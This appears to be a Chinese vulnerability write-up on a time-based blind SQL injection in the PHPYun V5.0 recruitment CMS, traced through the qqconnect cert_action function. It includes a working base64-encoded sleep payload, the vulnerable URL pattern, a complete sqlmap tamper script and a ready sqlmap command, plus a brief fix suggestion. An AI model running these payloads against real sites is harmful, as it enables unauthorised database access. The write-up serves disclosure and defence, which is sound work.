qshpeng 2020-03-26
*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做*
PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发。
前台SQL盲注
Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生。
漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数
可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中,此时可以绕过全局过滤,代表此处可以控制$arr[3]的值。再往下看:
此时可以看到,由于$arr[3]的值可控,所以导致$data的 email参数可控,并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数:
可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数,继续跟进:
可以看到此函数同样未对data数组中的参数未经过任何过滤,此时$email变量可控并将其引入 getCertInfo函数中,继续跟进:可以看到又将可控数据引入 select_once函数中,此时$whereData中的check可控,继续跟进:
此函数中可以看到,将拥有可控数据的$where引入checkWhere 函数(篇幅问题,代码不贴了),其函数为判断是否有limit,orderby ,orderbyfield,groupby,having 等等,并将其参数修改为`email` = $email这种格式,并且还是未对其中参数做任何过滤。
现在基本确定存在SQL注入漏洞,此时只需本地复现即可。首先查看phpyun的路由调度。
可以看到module名为$_GET[‘m’]的值,所以此处 m的值应该为 qqconnect
控制器为C ,函数为A。由于qqconnect模块下的控制器名为 index.class.php所以c为index 。由于函数名为cert_action,所以a为 cert。
所以漏洞点url为:http://target.com/?m=qqconnect&c=index&a=cert
一、首先数据库phpyun_member表中必须有用户(可以自行注册,由于该系统是招聘系统,所以不存在无法注册的问题)
二、由于db.safety.php中对传入数据的限制,通过GET传入的数据最大为80个字符,并且还是经过base64加密的。所以payload应该只有56个字符左右的限制,有大佬的话可以尝试尝试更进一步的利用。
三、phpyun_company_cert表中必须有数据,否则SQL 注入无法成功。
设置payload为:2|||‘or (if(true,sleep(5),1));#
将payload通过base64加密: Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=
访问:http://target.com/?m=qqconnect&c=index&a=cert&id=Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA= (此URL中id 参数为加密后的payload)
可以看到响应时间为5082millis。约为5秒。 SQL注入复现成功。
使用SQLMAP进行注入
首先要使用SQLMAP进行注入验证需要编写SQLMAP脚本辅助。观察payload,发现要将sqlmap中测试需要的payload前面添加 2||| 。并且将添加数据后的payload进行base64编码。
编写脚本:phpyun.py
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file ‘LICENSE‘ for copying permission """ import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ phpyun payload >>> tamper("1‘ AND SLEEP(5)#") ‘MScgQU5EIFNMRUVQKDUpIw==‘ """ payload = "2|||"+payload #给payload添加我们需要的数据 return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload #对新payload进行加密
将此脚本放入tamper文件夹中便可使用。
SQLMAP命令 :python sqlmap.py -u "http://target.com/?m=qqconnect&c=index&a=cert&id=1" -p "id" --tamper="tamper/phpyun.py" --technique T -v 3 --dbms "mysql" --risk 3
注:sqlmap参数必须设置 --risk 等级为3。由于风险等级默认为1,payload使用and逻辑判断,会导致sql注入检测失败。将风险等级设置为3时,payload会使用OR逻辑判断。所以此处必须设置。(风险等级为3的情况下,谨慎测试upload的SQL语句。)
漏洞修复方案
建议对app\controller\qqconnect\index.class.php的cert_action 函数中的$arr[3]使用CheckRegEmail函数检测。具体修复方法等待官方补丁phpyun官方网站